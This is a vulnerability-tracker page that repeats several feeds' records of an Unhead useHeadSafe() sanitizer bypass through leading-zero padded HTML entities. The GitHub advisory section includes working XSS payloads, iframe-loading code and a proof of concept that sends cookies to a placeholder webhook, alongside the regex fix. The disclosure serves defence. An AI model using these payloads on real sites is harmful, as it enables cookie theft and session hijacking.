Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.

Source published

9 Apr 2026 17:54:07 UTC

Source modified

13 Apr 2026 15:38:52 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.

Source published

Apr 9, 2026, 5:54:07 PM (timezone not stated)

Source modified

Apr 13, 2026, 3:38:52 PM (timezone not stated)

Observed here

28 Oct 2026 04:58:42 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.

Source published

9 Apr 2026 18:17:01 UTC

Source modified

26 Oct 2026 21:10:00 UTC

Observed here

27 Oct 2026 10:09:38 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

##EVIDENCE <img width="1900" height="855" alt="Screenshot_2026-03-25_090729" src="https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50" /> <img width="1919" height="947" alt="Screenshot_2026-03-25_090715" src="https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40" /> <img width="1918" height="925" alt="Screenshot_2026-03-25_090759" src="https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c" /> <img width="1912" height="812" alt="Screenshot_2026-03-25_090824" src="https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0" /> <img width="1846" height="409" alt="Screenshot_2026-03-22_090617" src="https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9" /> | **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) | | **Cross-reported here** | 2026-04-03 | --- ## Summary `useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in `<head>` safely. Internally, the `hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes HTML entities before checking for blocked URI schemes (`javascript:`, `data:`, `vbscript:`). The decoder uses two regular expressions with fixed-width digit caps: ```js // Current — vulnerable const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi const HtmlEntityDec = /&#(\d{1,7});?/g ``` The HTML5 specification imposes **no limit** on leading zeros in numeric character references. Both of the following are valid, spec-compliant encodings of `:` (U+003A): - `&#0000000058;` — 10 decimal digits, exceeds the `\d{1,7}` cap - `&#x000003A;` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to `startsWith('javascript:')`, which does not match. `makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. > **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, > which was an attribute *key* injection via the `data-*` prefix. This finding targets > the attribute *value* decoder — a different code path with a different root cause and > a different fix. --- ## Root Cause Analysis ### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11) ```js const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max const HtmlEntityDec = /&#(\d{1,7});?/g // cap: 7 decimal digits max ``` ### Why the bypass works The HTML5 parser specification ([§ Numeric character reference end state][html5-spec]) states that leading zeros in numeric character references are valid and the number of digits is unbounded. A conformant browser will decode `&#x000003A;` as `:` regardless of the number of leading zeros. Because the regex caps are lower than the digit counts an attacker can supply, the entity match fails silently. The raw padded string (`java&#0000000058;script:alert(1)`) is passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`, and the value is rendered into SSR output verbatim. The browser then decodes the entity and the blocked scheme is present in the live DOM. --- ## Steps to Reproduce ### Environment - **Nuxt:** 4.x (current) - **unhead:** 2.1.12 (current at time of report) - **Node:** 20 LTS - **Chrome:** 146+ ### Step 1 — Create a fresh Nuxt 4 project ```bash npx nuxi init poc cd poc npm install ``` ### Step 2 — Replace `pages/index.vue` ```vue <template> <div> <h1>useHeadSafe bypass PoC</h1> <p>View page source or run the curl command below.</p> </div> </template> <script setup> import { useHeadSafe } from '#imports' useHeadSafe({ link: [ // 10-digit decimal padding — exceeds \d{1,7} cap { rel: 'stylesheet', href: 'java&#0000000058;script:alert(1)' }, // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap { rel: 'icon', href: 'data&#x000003A;text/html,<script>alert(document.cookie)<\/script>' } ] }) </script> ``` ### Step 3 — Start the dev server and inspect SSR output ```bash npm run dev ``` In a separate terminal: ```bash curl -s http://localhost:3000 | grep '<link' ``` ### Expected result (safe) Tags stripped entirely, or schemes rewritten to safe placeholder values. ### Actual result (vulnerable) ```html <link href="java&#0000000058;script:alert(1)" rel="stylesheet"> <link href="data&#x000003A;text/html,<script>alert(document.cookie)<\/script>" rel="icon"> ``` Both `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()` blocklist — are present in server-rendered HTML. The browser decodes the padded entities natively on load. --- ## Confirmed Execution Path (data: URI via iframe, Chrome 146+) Immediate script execution from `<link>` tags does not occur automatically — browsers do not create a browsing context from `<link href>`. The exploitability of this bypass therefore depends on whether downstream application code consumes `<link>` href values. This is a **common pattern** in real-world Nuxt applications: - Head management libraries that hydrate or re-process `<link>` tags on the client - SEO and analytics scripts that read canonical or icon link values - Application features that preview, validate, or forward link URLs into iframes - Developer tooling that loads icon URLs for thumbnail generation Chrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:` navigation has been blocked since Chrome 60. The following snippet — representative of any downstream consumer that forwards `<link href>` into an iframe — triggers confirmed script execution: ```js // Simulates downstream head-management or SEO utility reading a <link> href const link = document.querySelector('link[rel="icon"]'); if (link) { const iframe = document.createElement('iframe'); iframe.src = link.href; // browser decodes &#x000003A; → ':', constructs data: URI document.body.appendChild(iframe); // alert() fires } ``` ### Full PoC with cookie exfiltration beacon > Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running. ```vue <template> <div> <h1>useHeadSafe padded entity bypass — full PoC</h1> <p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p> </div> </template> <script setup> import { useHeadSafe } from '#imports' import { onMounted } from 'vue' onMounted(() => { document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None' const el = document.getElementById('cookie-display') if (el) el.textContent = document.cookie // Simulate downstream consumption: load the bypassed icon href into an iframe const link = document.querySelector('link[rel="icon"]') if (link) { const iframe = document.createElement('iframe') iframe.src = link.href iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px' document.body.appendChild(iframe) } }) const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE' useHeadSafe({ link: [ { rel: 'icon', href: `data&#x000003A;text/html;base64,${btoa(` <!DOCTYPE html><html><body><script> alert('XSS via useHeadSafe padded entity bypass'); new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({ finding: 'useHeadSafe hasDangerousProtocol bypass', cookie: document.cookie || 'session=super-secret-token-12345 (dummy)', origin: location.origin, ts: Date.now() })); <\/script></body></html> `)}` } ] }) </script> ``` **Observed result:** 1. `alert()` fires from inside the iframe's `data:` document context 2. Webhook receives a GET request with the cookie value and origin in the query string 3. Page source confirms `&#x000003A;` is present unescaped in the SSR-rendered `<link>` tag > All testing was performed against a local Nuxt development environment on a personal > machine. Cookie values are dummy data. No production systems were accessed or targeted. --- ## Impact ### 1. Broken security contract Developers who follow Nuxt's own documentation and use `useHeadSafe()` for untrusted user input have no reliable protection against `javascript:`, `data:`, or `vbscript:` scheme injection when that input contains leading-zero padded numeric character references. The documented guarantee is silently violated. ### 2. Confirmed data: URI escape to SSR output A fully valid `data:text/html` URI now reaches server-rendered HTML. In applications where any downstream code reads and loads `<link href>` values (head management utilities, SEO tooling, icon preview features), this is **confirmed XSS** — the payload persists in SSR output and executes for every visitor whose browser triggers the downstream consumption path. ### 3. Forward exploitability If any navigation-context attribute (e.g. `<a href>`, `<form action>`) is added to the safe attribute whitelist in a future release, this bypass produces **immediately exploitable stored XSS** with no additional attacker effort, because the end-to-end bypass already works today. --- ## Suggested Fix Remove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()` function already validates that decoded codepoints fall within the valid Unicode range (`> 0x10FFFF || < 0 || isNaN → ''`), so unbounded digit matching introduces no new attack surface — it only ensures that all spec-compliant encodings of a codepoint are decoded before the scheme check runs. ```diff - const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi - const HtmlEntityDec = /&#(\d{1,7});?/g + const HtmlEntityHex = /&#x([0-9a-f]+);?/gi + const HtmlEntityDec = /&#(\d+);?/g ``` **File:** `packages/unhead/src/plugins/safe.ts`, lines 10–11 This is a minimal, low-risk change. No other code in the call path requires modification. --- ## Weaknesses | CWE | Description | |---|---| | **CWE-184** | Incomplete List of Disallowed Inputs | | **CWE-116** | Improper Encoding or Escaping of Output | | **CWE-20** | Improper Input Validation | --- ## References | Source | Link | |---|---| | HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state | | GHSA-46fp-8f5p-pf2c — Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c | | CVE-2026-26022 — Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ | | OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html | | Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations | | Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 | | Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |

Source published

9 Apr 2026 20:28:05 UTC

Source modified

9 Apr 2026 20:41:24 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Publisher rating · MODERATE